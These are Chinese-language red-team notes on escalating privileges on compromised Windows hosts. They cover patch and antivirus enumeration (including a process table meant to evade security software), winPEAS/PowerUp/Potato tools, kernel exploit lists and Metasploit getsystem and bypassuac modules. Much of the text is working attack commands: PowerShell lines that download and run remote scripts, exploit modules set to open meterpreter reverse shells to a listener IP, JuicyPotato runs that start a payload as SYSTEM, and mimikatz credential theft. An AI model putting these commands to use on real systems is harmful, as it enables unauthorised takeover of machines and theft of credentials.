Windows 提权
总述
本文总结了 Windows 当中,利用 Windows 操作系统的漏洞实现提权。
神
1. 信息收集:收集本地主机的相关防护信息,来指定我们的提权手法
1. 提权漏洞锁定
1.1. Windows 系统版本
确定 Windows 的系统版本 对应的 存在哪些 提权漏洞,做一个初步的确定。
systeminfo
1.2. 漏洞补丁的相关情况的信息收集
进一步排除无法利用的相关提权漏洞,来确定出我们可用的提权漏洞手法。
systeminfo | findstr "KB"
wmic qfe list
1.3. 确定当前用户,以及当前用户所属的相关 用户组、特权信息 等相关信息
确定我们当前符合满足哪些提权漏洞的利用条件,来确定我们的提权漏洞利用手法,并且不一定要一次性提升到 SYSTEM 权限,可以先尝试提权到 administrators 用户组当中,再提权到 SYSTEM。
1.4 相关提权信息收集的脚本,针对收集的信息进行分析,来查看系统还有哪些疑似的脆弱突破点,进行攻击实现提权。
1.5 MSF 一键测试提权漏洞的相关模块...hh
2. 密码、凭证、凭据等信息泄露
其实这个步骤更多时候的是我们拥有了落地的一个高权限后信息收集的信息,方便我们后续的一个内网横向 以及 内网其他主机的权限提升 的 手段(密码碰撞、内网喷洒。)
2.1 mimikatz - 用户的 NTLM_Hash、明文密码。
2.2 RDP 等相关服务存储的凭据文件。
2.3 数据库等相关服务存储的密码 及 服务自身的凭据信息等。
2.4 浏览器存储的相关密码凭证 及 XShell、Navicat 等相关第三方软件存储的相关密码凭据。
2.5 收集到当前主机上存在哪些曾有过 CVE 等相关历史漏洞的第三方服务与程序,尝试通过他们实现提权。
2. 提权漏洞利用
1. 相关 EXP,MSF 模块、CS 模块 的利用。(or 手搓漏洞复现)
2. Windows 相关环境配置存在漏洞缺陷,可以实现提权。
比如我们替换掉服务所依赖的DLL文件,当服务重启时,加载我们替换的DLL文件从而完成比如添加管理员账号的操作。或者通过常见的Mssql,Mysql等服务,通过其继承的系统权限来完成提权等等。
3. 数据库、Notepad++ 等第三方服务的漏洞利用实现提权。
Windows 提权手段:
1. Windows 系统(内核)漏洞
EXP、MSF、CS
2. Windows 相关环境配置存在漏洞缺陷,可以实现提权。
比如我们替换掉服务所依赖的DLL文件,当服务重启时,加载我们替换的DLL文件从而完成比如添加管理员账号的操作。或者通过常见的Mssql,Mysql等服务,通过其继承的系统权限来完成提权等等。
3. 数据库等相关服务 - 提权
4. 第三方软件存在提权漏洞实现提权
5. 域环境提权(不是提权方法,此处是提醒还有 域提权 也是 Windows 提权的一种。)
Windows提权:
普通用户权限(Users)
管理员权限(Administrators)
服务系统权限 (SYSTEM)
访客权限 (Guest)
权限提升条件
1. 拥有Webshell/Beacon/Sessions,拥有普通用户权限
肯定要有落点,有初始的一个控制权限以后,我们才谈什么提权,连权限都没有如何提权呢?
2. 本地或远程服务器上存在漏洞,拥有漏洞利用工具代码
提权不是凭空提权,而是利用相关的漏洞、权限配置不当 等 途径,实现异常的权限突破拥有高权限账户的控制权。
3. 拥有某些软件的账号密码
通过用户的相关密码习惯直接得到其他高权限账户的密码,正常的登录途径实现权限跃升。
...
一、提权信息收集
1)手动信息收集
本次手动信息收集的相关命令手法,我们都以 WMIC 的命令来进行,具体为什么可以详见 红队经验 篇章。
WMIC:
Windows管理工具命令行,提供了从命令行接口和批命令脚本执行系统管理的支持,对于信息收集和渗透测试是非常实用的。
1. 补丁
通过获取补丁的相关信息来帮我们排除相关被修复的提权漏洞,来帮我们锁定后续的提权漏洞的选择。
# 查看补丁的详细信息状况
wmic qfe list
wmic qfe get
wmic qfe get Caption,Description,HotFixID,InstalledOn
wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB"
# 仅查看相关的补丁编号
wmic qfe get hotfixid
(qfe - Quick Fix Engineering - 快速修复工程)
systeminfo | findstr "KB"
(KB - Knowledge Base - KBID 即 “知识库编号”,是微软为其技术文档)
# 列出安全更新补丁
powershell -c "Get-Hotfix -description 'Security update'"





2. 杀软
通过识别杀软,来方便我们可以在本地尝试我们的免杀是否绕过了目标的防护杀软,是否会被杀软识别,从而避免在目标主机上引起相关告警。
1)获取杀软名
WMIC /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
wmic /node:localhost /namespace:\\root\SecurityCenter2 path AntiVirusProduct Get DisplayName,productState,pathToSignedProductExe | findstr /V /B /C:displayName || echo No Antivirus installed

2)获取杀软名和安装路径
WMIC /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName,productState,pathToSignedProductExe

3)常见的杀毒软件进程
tasklist
tasklist /v
wmic process list brief
| 进程名称 | 软件名称 |
|---|---|
| 360SD.exe | 360 杀毒 |
| 360TRAY.exe | 360 实时保护 |
| HipsMain.exe | 火绒 |
| ZHUDONGFANGYU.exe | 360s 主动防御 |
| KSAFETRAY.exe | 金山卫士 |
| SAFEDOGUPDATECENTER.exe | 服务器安全狗 |
| MCAFEE MCSHIELD.exe | MCAFEE |
| EGULEXE | NoD32 |
| AVP.exe | 卡巴斯基 |
| AVGUARD.exe | 小红伞 |
| BDAGENT.exe | BITDEFENDER |
| QQPCRTP.exe | QQ 电脑管家 |
| hids | 主机防护类产品 |
| hws* | 护卫神 |
| yunsuo* | 云锁 |
| D_Safe* | D 盾 |

2)自动化信息收集
1. winPEAS
winPEAS 是一款常用于渗透测试和安全评估的开源工具,全称为 "Windows Privilege Escalation Awesome Scripts Suite"(Windows 权限提升优秀脚本套件)。
具体来说,winPEAS 会扫描系统的多个方面,包括:
系统信息(版本、补丁、架构等)
用户和组权限配置
服务和进程的权限设置
注册表中的敏感配置
安装的软件和漏洞
文件和目录的权限问题
计划任务、令牌等潜在的提权路径
扫描后,它会以清晰的方式呈现结果,并用颜色标记高风险项(通常红色表示高危),帮助测试人员快速定位可能的权限提升点。
winPEAS 支持多种执行方式,适用于不同的 Windows 版本,是渗透测试中枚举 Windows 系统信息和寻找提权机会的常用工具之一。
项目地址:
https://github.com/peass-ng/PEASS-ng
1)bat - winPEASbat(推荐)
更推荐 bat 脚本,因为 exe 版本需要考虑 .NET 版本,最新版本呢需要 .NET > v4.0.30319
winPEAS.bat > wininfo.txt


2)exe - winPEASexe
winPEASx64.exe quiet notcolor log=wininfo.txt
[*]WinPEAS用于枚举在本地提升权限的可能路径:
domain 枚举域信息
systeminfo 搜索系统信息
userinfo 搜索用户信息
processinfo 搜索进程信息
servicesinfo 搜索服务信息
applicationsinfo 搜索安装的应用程序信息
networkinfo 搜索网络信息
windowscreds 搜索windows凭证
browserinfo 搜索浏览器信息
filesinfo 搜索可能包含凭据的通用文件
fileanalysis 搜索可能包含凭据的特定文件,并在文件中搜索正则表达式
eventsinfo 显示有趣的事件信息
quiet 不输出banner
notcolor 不要使用ansi颜色(全白色)(推荐,否则 log 日志当中也是有彩色字符的乱码)
searchpf 在Program File文件夹中通过regex搜索凭据
wait 在检查时等待用户输入
debug 显示调试信息-内存使用情况、方法执行时间
log[=logfile] 将所有输出记录到定义为日志文件的文件,或者记录到“out.text”(如果未指定)
max-regex-file-size=1000000 搜索regex的最大文件大小(单位:收件箱)。默认:1000000 B
Additional checks (slower):
-lolbas 运行额外的LOLBAS检查
-linpeas=[url] 运行额外的linpeas.sh检查默认WSL分发,可以选择提供自定义linpeas.sh


.exe: 需要考虑 .NET 版本

3)powershell - winPEASps1
有问题,暂不推荐使用。
powershell -nop -exec bypass -c "IEX (New-ObjectNet.WebClient).DownloadString('https://gitee.com/yijingsec/PEASS-ng/raw/master/winPEAS/winPEASps1/winPEAS.ps1');Start-ACLCheck"> info.txt
2. PowerUP
PowerUP 是一款专注于 Windows 系统权限提升的 PowerShell 脚本工具,主要用于渗透测试和安全评估中发现系统潜在的权限提升漏洞。
它的核心功能是通过扫描系统的各种配置和组件,识别可能被利用来提升权限的弱点,主要包括以下几个方面:
检查系统服务的权限配置(如不安全的服务路径、可修改的服务二进制文件等)
查找注册表中的敏感设置(如自动登录凭据、服务配置错误等)
检测计划任务的权限问题
识别具有漏洞的软件或缺失的系统补丁
分析令牌和特权相关的潜在提权路径
使用方式上,PowerUP 通常在 PowerShell 环境中加载运行,提供了一系列模块化的命令(如 Get-ServiceUnquoted 检查未加引号的服务路径、Get-ModifiableServiceFile 查找可修改的服务文件等),方便测试人员针对性地枚举系统弱点。
与 winPEAS 相比,PowerUP 更轻量且专注于 PowerShell 环境,适合在已获取一定权限的 Windows 系统中(尤其是能运行 PowerShell 的场景)快速排查提权机会,是渗透测试中枚举 Windows 权限漏洞的常用工具之一。
Powershell提权框架 - Powerup,此框架可以在内核提权行不通的时候,帮助我们寻找服务器脆弱点进而通过脆弱点实现提权的目的。
参考文章:
https://evi1cg.me/archives/Powerup.html
大项目地址:
https://github.com/PowerShellMafia/PowerSploit
精确脚本地址:
https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1
cmd环境运行
powershell -ep bypass -c "& {Import-Module .\PowerUp.ps1; Invoke-AllChecks}"
内存加载运行
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://gitee.com/yijingsec/PowerSploit/raw/master/Privesc/PowerUp.ps1'); Invoke-AllChecks"
CS 加载运行
powershell-import script/powerup.ps1
powershell Invoke-AllChecks




3. CollectAV_KB
使用异步快速收集目标所运行的杀软和补丁信息,并且快速分析得出可能适配的 提权漏洞。
要求目标的.NET版本为.NET4.5以上(因为用的异步方法只支持.NET4.5+)
项目地址:
https://github.com/TryA9ain/CollectAV_KB


4. beRoot
此工具不实现任何漏洞利用。它的主要目标不是对主机进行配置评估(列出所有服务、所有进程、所有网络连接等),而是仅打印那些被发现可能用于提升权限的信息。
项目地址:
https://github.com/AlessandroZ/BeRoot

5. Watson
Watson 是一个 .NET 工具,旨在枚举缺失的 KB 并建议利用权限提升漏洞。
项目地址:
https://github.com/rasta-mouse/Watson
Windows 10 1507、1511、1607、1703、1709、1803、1809、1903、1909、2004
Server 2016 和 2019

6. Sherlock
该 PowerShell 脚本可快速查找本地权限提升漏洞缺少的软件补丁。
项目地址:
https://github.com/rasta-mouse/Sherlock
powershell.exe IEX (New-Object Net.WebClient).DownloadString('https://gitee.com/yijingsec/Sherlock/raw/master/Sherlock.ps1');Find-AllVulns
7. potato 家族
1)juicy-potato
potato 家族的一员。
项目地址:
https://github.com/ohpe/juicy-potato‘
下载链接:
https://gitee.com/yijingsec/juicy-potato/releases/download/v0.1/JuicyPotato.exe
Potato的限制条件有:
1. 需要具有SeImpersonate或者SeAssignPrimaryToken权限
whoami /priv 查看特权
一般从Web拿到的webshell都是IIS服务器权限,是具有这个模仿权限的。
一般大多数的服务型账户IIS、MSSQL等,有这个权限,大多数用户级的账户没有这个权限
2. 开启DCOM
3. 本地支持RPC或者远程服务器支持RPC并能成功登录
4. 能够找到可用的COM对象
一般从Web拿到的webshell都是IIS服务器权限,是具有这个模仿权限的。
一般大多数的服务型账户IIS、MSSQL等,有这个权限,大多数用户级的账户没有这个权限,都可以执
行 whoami /priv 查看是否具有权限。
# 利用JuicyPotato以system权限执行命令
JuicyPotato-ws.exe -p "whoami"
JuicyPotato-ws.exe -p "xx.exe"


2)SweetPotato
项目地址:
https://github.com/uknowsec/SweetPotato?tab=readme-ov-file
SweetPotato.exe -a whoami
SweetPotato.exe -a "C:\test\xx.exe"

3)getSystem
项目地址:
https://github.com/uknowsec/getSystem

二. 提权
1. Windows内核漏洞提权
1、确定可用提权漏洞
根据获取的相关信息:
补丁信息、杀软信息 等
综合分析得出可能可以利用的相关提权漏洞,进行提权漏洞利用测试。
1)在线网站查询补丁对应漏洞
WPEE
# Windows Privilege Escalation Exploit
# 这两个必须只填写 KB。
# wmic qfe get hotfixid
# 感觉有点问题啊,好像只是用来查询的而已
https://neargle.github.io/win-powerup-exp-index/
http://34cefd9ca107.target.yijinglab.com/

Tscan(推荐!!!)
# 推荐!!
Tscan



2)已对外公开EXP
Windows平台提权漏洞集合:
https://github.com/SecWiki/windows-kernel-exploits
https://github.com/Ascotbe/Kernelhub
http://kernelhub.ascotbe.com/Home/Docs/#/
http://kernelhub.ascotbe.com/Windows/Docs/#/TestSuccess
| 漏洞编号 / 名称 | KB 编号 | 漏洞描述 | 影响系统 |
|---|---|---|---|
| MS17-017 | KB4013081 | GDI Palette Objects Local Privilege Escalation | Windows 7/8 |
| CVE-2017-8464 | - | LNK Remote Code Execution Vulnerability | Windows 10/8.1/7/2016/2010/2008 |
| CVE-2017-0213 | - | Windows COM Elevation of Privilege Vulnerability | Windows 10/8.1/7/2016/2010/2008 |
| MS17-010 | KB4013389 | Windows Kernel Mode Drivers | Windows 7/2008/2003/XP |
| MS16-135 | KB3199135 | Windows Kernel Mode Drivers | 2016 |
| MS16-111 | KB3186973 | kernel api | Windows 10 10586 (32/64)/8.1 |
| MS16-098 | KB3178466 | Kernel Driver | Win 8.1 |
| MS16-075 | KB3164038 | Hot Potato | 2003/2008/7/8/2012 |
| MS16-034 | KB3143145 | Kernel Driver | 2008/7/8/10/2012 |
| MS16-032 | KB3143141 | Secondary Logon Handle | 2008/7/8/10/2012 |
| MS16-016 | KB3136041 | WebDAV | 2008/Vista/7 |
| MS15-097 | KB3089656 | remote code execution | win8.1/2012 |
| MS15-076 | KB3067505 | RPC | 2003/2008/7/8/2012 |
| MS15-077 | KB3077657 | ATM | XP/Vista/Win7/Win8/2000/2003/2008/2012 |
| MS15-061 | KB3057839 | Kernel Driver | 2003/2008/7/8/2012 |
| MS15-051 | KB3057191 | Windows Kernel Mode Drivers | 2003/2008/7/8/2012 |
| MS15-010 | KB3036220 | Kernel Driver | 2003/2008/7/8 |
| MS15-015 | KB3031432 | Kernel Driver | Win7/8/8.1/2012/RT/2012 R2/2008 R2 |
| MS15-001 | KB3023266 | Kernel Driver | 2008/2012/7/8 |
| MS14-070 | KB2989935 | Kernel Driver | 2003 |
| MS14-068 | KB3011780 | Domain Privilege Escalation | 2003/2008/2012/7/8 |
| MS14-058 | KB3000061 | Win32k.sys | 2003/2008/2012/7/8 |
| MS14-040 | KB2975684 | AFD Driver | 2003/2008/2012/7/8 |
| MS14-002 | KB2914368 | NDProxy | 2003/XP |
| MS13-053 | KB2850851 | win32k.sys | XP/Vista/2003/2008/win 7 |
| MS13-046 | KB2840221 | dxgkrnl.sys | Vista/2003/2008/2012/7 |
| MS13-005 | KB2778930 | Kernel Mode Driver | 2003/2008/2012/win7/8 |
| MS12-042 | KB2972621 | Service Bus | 2008/2012/win7 |
| MS12-020 | KB2671387 | RDP | 2003/2008/7/XP |
| MS11-080 | KB2592799 | AFD.sys | 2003/XP |
| MS11-062 | KB2566454 | NDISTAPI | 2003/XP |
| MS11-046 | KB2503665 | AFD.sys | 2003/2008/7/XP |
| MS11-011 | KB2393802 | kernel Driver | 2003/2008/7/XP/Vista |
| MS10-092 | KB2305420 | Task Scheduler | 2008/7 |
| MS10-065 | KB2267960 | FastCGI | IIS 5.1, 6.0, 7.0, and 7.5 |
| MS10-059 | KB982799 | ACL-Churraskito | 2008/7/Vista |
| MS10-048 | KB2160329 | win32k.sys | XP SP2 & SP3/2003 SP2/Vista SP1 & SP2/2008 Gold & SP2 & R2/Win7 |
| MS10-015 | KB977165 | KiTrap0D | 2003/2008/7/XP |
| MS10-012 | KB971468 | SMB Client Trans2 stack overflow | Windows 7/2008R2 |
| MS09-050 | KB975517 | Remote Code Execution | 2008/Vista |
| MS09-020 | KB970483 | IIS 6.0 | IIS 5.1 and 6.0 |
| MS09-012 | KB959454 | Chimichurri | Vista/win7/2008/Vista |
| MS08-068 | KB957097 | Remote Code Execution | 2000/XP |
| MS08-067 | KB958644 | Remote Code Execution | Windows 2000/XP/Server 2003/Vista/Server 2008 |
| MS08-066 | - | - | Windows 2000/XP/Server 2003 |
| MS08-025 | KB941693 | Win32.sys | XP/2003/2008/Vista |
| MS06-040 | KB921883 | Remote Code Execution | 2003/xp/2000 |
| MS05-039 | KB899588 | PnP Service | Win 9X/ME/NT/2000/XP/2003 |
| MS03-026 | KB823980 | Buffer Overrun In RPC Interface | NT/2000/XP/2003 |
2、漏洞利用
此处只拿几个 CVE 来举例,具体情况具体分析。
A. CVE-2018-8120
项目地址:
https://github.com/alpha1ab/CVE-2018-8120
https://github.com/alpha1ab/CVE-2018-8120/tree/master/CVE-2018-8120/x64/Release
https://github.com/rip1s/CVE-2018-8120
https://github.com/alpha1ab/CVE-2018-8120
Usage: exp.exe command
Example: exp.exe "net user admin admin /add"
参考:
https://www.freebuf.com/vuls/174183.html
补丁编号:
KB4103727
不知道为什么有问题,暂时跳过。


B. CVE-2019-0803
项目地址:
https://github.com/k8gege/K8tools/blob/master/CVE-2019-0803.exe
Q:\QiaoShen\1Tool\PostExpKit\bin\escalation\OtherExps\CVE-2019-0803.exe
CVE-2019-0803.exe cmd whoami
Q:\QiaoShen\1Tool\内网\提权\Windows\利用\Kernelhub\Windows\CVE-2019-0803\poc_test.exe
poc_test.exe(CS 远控无法使用,仅可在本地时运用 或者 MSF)
运行一个权限为 SYSTEM 的 cmd 命令窗口





C. CVE-2020-0787
项目地址:
https://github.com/cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION


3、框架模块 - 一键提权
MSF
getuid - 查看当前账户
1)getsystem
本质上是让 administrators 组当中的成员,提权到 SYSTEM 权限。
getsystem:
getsystem是由Metasploit-Framework提供的一个模块,它可以将一个管理帐户(通常为本地
Administrator账户或者过了UAC认证的账户)提升为本地SYSTEM帐户权限。
getsystem 一键提权采用的几种方法:
Named Pipe Impersonation:
劫持命名管道中的系统令牌。
常见方法,用于在目标是管理员权限时进一步提升到系统权限。
Token Duplication:
利用令牌复制技术。
需要目标系统中存在某些高权限令牌。
Named Pipe Impersonation (In Memory/Admin):
在内存中利用命名管道进行权限提升。
getsystem 一键提权前提条件:
1. 为 administrators 组当中的成员,或者 过了 UAC认证 的账户。(*)
2. 常见的几种 getsystem 的手法没有被禁用或者修复。
# 查看所有 getsystem 的提权方法
getsystem -h
# 自动尝试所有提权方法
getsystem
# 指定使用编号为1的提权技术
getsystem -t 1
1、确定 session 符合 getsystem 提权条件

2、尝试 getsystem 提权

getsystem 原理详解 - 命名管道原理
命名管道介绍:
命名管道(Named Pipes)是一种简单的进程间通信(IPC)机制。命名管道可以在同一台计算机的不
同进程之间,或者跨越一个网络的不同计算机的不同进程之间的可靠的双向或单向的数据通信。
命名管道的命名规范遵循“通用命名规范(UNC)" :
\\server\pipe[\path]\name
其中:
\\server 指定一个服务器的名字,如果是本机则用\\.表示,\\192.168.1.100表示网络上的服务器。
\pipe 是一个不可变化的“硬编码”字串(不区分大小写),用于指出该文件从属于NPFS
[\path]\name 则唯一标识一个命名管道的名称。
原理总结:
meterpreter中getsystem的Named Pipe Impersonation提权功能原理:
1. 首先会创建一个命名管道
2. 然后创建一个服务去运行cmd /c echo "some data" > \\.\pipe\[random pipe name]
3. 当 cmd 连接到 Meterpreter 的命名管道的时候,通过令牌模拟,模拟连接客户端的Token
4. 因为服务运行是 SYSTEM 权限,因此MSF也就得到了一个 SYSTEM 的 session
创建命名管道:

命名管道服务端代码(pipe_server.cpp):
#include "iostream"
#include "windows.h"
using namespace std;
#define PIPE_NAME "\\\\.\\Pipe\\QiaoShen"
int main()
{
char buffer[1024];
DWORD ReadNum;
// 创建命名管道
HANDLE hPipe = CreateNamedPipe(
PIPE_NAME,
PIPE_ACCESS_DUPLEX,
PIPE_TYPE_BYTE | PIPE_READMODE_BYTE,
2, // 最大实例数
0, // 输出缓冲区大小
0, // 输入缓冲区大小
1000, // 超时时间
NULL // 默认安全属性
);
if (hPipe == INVALID_HANDLE_VALUE)
{
cout << "创建命名管道失败!" << endl;
CloseHandle(hPipe);
return 0;
}
// 等待客户端连接
if (ConnectNamedPipe(hPipe, NULL) == FALSE)
{
cout << "与客户机连接失败!" << endl;
CloseHandle(hPipe);
return 0;
}
cout << "与客户机连接成功!" << endl;
// 循环读取客户端发送的数据
while (1)
{
if (ReadFile(hPipe, buffer, 1024, &ReadNum, NULL) == FALSE)
{
cout << "读取数据失败!" << endl;
break;
}
buffer[ReadNum] = '\0'; // 添加字符串结束符
cout << "读取数据: " << buffer << endl;
}
cout << "关闭管道!" << endl;
CloseHandle(hPipe);
system("pause");
return 0;
}
命名管道客户端代码(pipe_client.cpp):
#include "iostream"
#include "windows.h"
#include "stdio.h"
using namespace std;
#define PIPE_NAME "\\\\.\\Pipe\\QiaoShen"
int main()
{
char buffer[1024];
DWORD WriteNum;
// 等待命名管道可用
if (WaitNamedPipe(PIPE_NAME, NMPWAIT_WAIT_FOREVER) == FALSE)
{
cout << "等待命名管道实例失败!" << endl;
return 0;
}
// 打开命名管道
HANDLE hPipe = CreateFile(
PIPE_NAME,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if (hPipe == INVALID_HANDLE_VALUE)
{
cout << "创建命名管道失败!" << endl;
CloseHandle(hPipe);
return 0;
}
cout << "与服务器连接成功!" << endl;
// 循环读取输入并发送数据
while (1)
{
gets(buffer); // 等待用户输入
if (WriteFile(hPipe, buffer, strlen(buffer), &WriteNum, NULL) == FALSE)
{
cout << "数据写入管道失败!" << endl;
break;
}
}
cout << "关闭管道!" << endl;
CloseHandle(hPipe);
system("pause");
return 0;
}
模拟令牌:
模拟令牌是命名管道中常见的一种方法,一般可以用来提权操作,Metasploit 中 getsystem 所采
用的第一种技术也是这个原理。
具体步骤:
1. 创建一个以system权限启动的程序,这个程序的作用是连接指定的命名管道。
2. 创建一个进程,并让进程创建命名管道。
3. 让之前的以system权限启动的程序启动并连接这个命名管道。
4. 利用ImpersonateNamedPipeClient()函数生成system权限的token。
5. 利用system权限的token启动cmd.exe。
过程模拟:
1. 在一个拥有 SeImpersonatePrivilege(身份验证后模拟客户端权限)的用户(User组)启动一个进程,这个进程的作用是创建一个命名管道等待连接,连接成功后模拟客户端的权限,并用这个权限启动一个cmd窗口。
相关原理文章:
https://learn.microsoft.com/zh-cn/troubleshoot/windows-server/windows-security/seimpersonateprivilege-secreateglobalprivilege
使用administrator用户通过powershell脚本pipeserverimpersonate.ps1创建一个命名管道
powershell -ep bypass -f pipeserverimpersonate.ps1
Win7查看命令管道,Powershell中输入如下命令:
[System.IO.Directory]::GetFiles("\\.\\pipe\\")
Win7及以上系统,查看命名管道还可以使用如下命令:
# 返回对象列表
get-childitem \\.\pipe\
# 只显示名称
(get-childitem \\.\pipe\).FullName
工具地址:
https://github.com/decoder-it/pipeserverimpersonate/blob/master/pipeserverimpersonate.ps1

在administrator用户权限下,创建一个服务 mingy-pipe:
因为只有在 管理员组 administrators 当中的用户才有权限创建一个服务。
sc create mingy-pipe binpath= "cmd /c echo mingy > \\.\pipe\mingy"
sc qc mingy-pipe

在administrator用户权限下,启动mingy-pipe服务:
服务启动,启动的都是 SYSTEM 权限。
sc start mingy-pipe
启动mingy-pipe服务时,会以SYSTEM权限执行 cmd /c echo mingy > \\.\pipe\mingy 命令,即以SYSTEM权限访问创建的命名管道 \\.\pipe\mingy,Powershell脚本会打开一个模拟连接命名管道客户端权限的cmd窗口。

原理总结:
meterpreter中getsystem的Named Pipe Impersonation提权功能原理:
1. 首先会创建一个命名管道
2. 然后创建一个服务去运行cmd /c echo "some data" > \\.\pipe\[random pipe name]
3. 当 cmd 连接到 Meterpreter 的命名管道的时候,通过令牌模拟,模拟连接客户端的Token
4. 因为服务运行是 SYSTEM 权限,因此MSF也就得到了一个 SYSTEM 的 session
2)BypassUAC
本质上是让 Admins / administrators 组当中的用户,绕过 UAC 的提权认证,拥有 UAC 认证后的权限,从而可以 getsystem 提权 SYSTEM 权限。(上线 payload 的时候没有 “以管理员身份运行” 就需要 BypassUAC 来实现 getsystem 提权条件的满足。(低版本 Windows - Win7 不需要))
我们平常 “使用管理员权限打开” 以后弹出的认证框就是 UAC 认证。只是我们平常都是 administrators 组当中的成员进行使用,因此只用点击确认即可,在低权限账户使用 UAC 认证时,需要输入 administrators 组当中的用户的账户密码认证,实现提权。
如果 getsystem 提权命令执行失败,可以尝试使用 bypassuac 模块绕过 UAC,从而进行提权。
UAC:用户帐户控制(User Account Control),是 Windows 操作系统中采用的一种控制机制,它
以预见的方式阻止不必要的系统范围更改。
getsystem 提权方式对于普通用户来说是失败的不可正常执行的,那么这种情况下就需要绕过系统
UAC来进行getsystem提权。
0. BypassUAC 实现 getsystem 的前提提要 - 演示
payload - qiaoshen.exe

当我们普通启动时


尝试 getsystem

我们现在尝试 UAC 的方式 - “以管理员方式启动” 打开我们的 payload。


尝试 getsystem

我们 BypassUAC 模块的本质也就是要解决我们上述的这种没有 “以管理员身份运行” 上线的 payload。
因为平常我们 命令行 启动 payload 上线,也都是 第一种情况 一样的上线。

1. bypassuac
use exploit/windows/local/bypassuac
set session 1
set payload windows/x64/meterpreter_reverse_tcp
set LHOST 172.16.41.63
set LPORT 4205
set target 1
exploit / run

陨落

陨落2:
当前 Meterpreter 会话已经是管理员权限( elevated state ),而 bypassuac 模块的作用是 “绕过 UAC 提升权限”,当你已经拥有高权限时,这个模块就会终止运行。

成功情况

通过bypassUAC获取的session可以看到依然是普通权限,可以执行getsystem进行提权至system权限。
2. bypassuac_injection
use exploit/windows/local/bypassuac_injection
set session 1
set payload windows/x64/meterpreter_reverse_tcp
set LHOST 172.16.41.63
set LPORT 4205
set target 1
exploit / run

陨落

成功
3. bypassuac_eventvwr
use exploit/windows/local/bypassuac_eventvwr
set session 1
set payload windows/x64/meterpreter_reverse_tcp
set LHOST 172.16.41.63
set LPORT 4205
set target 1
exploit / run

陨落

成功
4. bypassuac_comhijack
use exploit/windows/local/bypassuac_comhijack
set session 1
set payload windows/x64/meterpreter_reverse_tcp
set LHOST 172.16.41.63
set LPORT 4205
exploit / run

陨落

成功
更多 BypassUAC 模块
search uac
search bypassuac


3)Local_exploit_suggester
local_exploit_suggester 是一个漏洞利用后渗透模块,可用于检查系统中是否存在本地漏洞。它执行本地漏洞利用检查;但不会运行利用任何漏洞,这意味着可以在不进行入侵的情况下扫描系统。
不必手动搜索有效的本地漏洞;它将根据系统的平台和体系结构向您显示目标容易受到哪些攻击。
优点:省去手动查找本地漏洞的麻烦,节省时间
缺点:不是所有列出的local exploit都可用,准确率一般,需要进一步进行利用排查出可用的。
准确率不是一般的差。。。可能一个用不了。。。实操两次,两次都是一个用不了哈哈哈哈哈哈哈哈哈。
模块官方仓库地址:
https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/post/multi/recon/local_exploit_suggester.md
相关项目:
https://github.com/AonCyberLabs/Windows-Exploit-Suggester
0. 前情提要
普通权限账户,无法使用 getsystem 实现提权,BypassUAC 也无法提权成功,因为只是一个普通用户,非 administrators 组 用户。



1. 模块利用
use post/multi/recon/local_exploit_suggester
set session 1
exploit / run


exploit/windows/local/cve_2019_1458_wizardopium
exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move
exploit/windows/local/cve_2020_1054_drawiconex_lpe
exploit/windows/local/cve_2021_40449
exploit/windows/local/ms10_092_schelevator
exploit/windows/local/ms14_058_track_popup_menu
exploit/windows/local/ms15_051_client_copy_image
exploit/windows/local/ms15_078_atmfd_bof
exploit/windows/local/ms16_014_wmi_recv_notif
exploit/windows/local/tokenmagic
4)Windows内核漏洞提权
1、enum_patches - 查询补丁
查当前主机安装的补丁。
use post/windows/gather/enum_patches
set session 1
exploit / run


search MS17-010


2、windows-kernel-exploits
Windows平台提权漏洞集合:
https://github.com/SecWiki/windows-kernel-exploits
metasploit中查找提权模块:
search exploit/windows/local Privilege
search ms


3、Windows ClientCopyImage Win32k Exploit
适用于Win7、Win server 2008R2 SP1 x64
use exploit/windows/local/ms15_051_client_copy_image
set session 1
set payload windows/x64/meterpreter/reverse_tcp
set lhost 172.16.41.63
set lport 4205
set target 1
exploit / run

4、MS14_058提权
use exploit/windows/local/ms14_058_track_popup_menu
set session 1
set payload windows/x64/meterpreter/reverse_tcp
set lhost 172.16.41.63
set lport 4205
set target 1
exploit / run

5)JuicyPotato
工具项目地址:
https://github.com/ohpe/juicy-potato
工具下载地址:
https://gitee.com/yijingsec/juicy-potato/releases/download/v0.1/JuicyPotato.exe
juicypotato.exe -t * -p "qiaoshen.exe" -l 9001 -c {4991d34b-80a1-4291-83b6-3328366b9097}
-t * : 指定创建进程的方式,* 表示尝试所有可能的创建方法(CreateProcessWithTokenW, CreatePr
ocessAsUser 等)。
-p "6666.exe" : 指定提权后要执行的程序路径(这里是 6666.exe)。
-l 9001 : 指定本地监听的端口号(9001),用于 COM 服务通信。
-c {4991d34b-80a1-4291-83b6-3328366b9097} : 指定目标 COM 组件的 CLSID(这里是{4991d34b-80a1-4291-83b6-3328366b9097}),Juicy Potato 利用该组件提权。
CLSID 列表 :
https://github.com/ohpe/juicy-potato/tree/master/CLSID
MSF


CS


CLSID 列表 :
https://github.com/ohpe/juicy-potato/tree/master/CLSID


6)Windows 系统服务漏洞
1)AlwaysInstallElevated (有问题 未解决)
任意用户以NT AUTHORITY\SYSTEM权限安装MSI安装包。
MSI:Microsoft Silent Installer,是微软的安装包格式,它在后台运行.exe安装程序
AlwaysInstallElevated 是一个策略设置,当在系统中使用Windows Installer安装任何程序时,该参数允许非特权用户以system权限运行MSI文件。
如果目标系统上启用了这一设置,我们可以使用msf生成msi文件来以system权限执行任意payload。
官方介绍文档:
https://learn.microsoft.com/zh-cn/windows/win32/msi/alwaysinstallelevated
判断是否启用此策略设置
reg query HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
- 收到 "错误:系统无法找到指定的注册表项或值" 的错误,则表示此注册表值从未创建。 说明策略没有
启用。
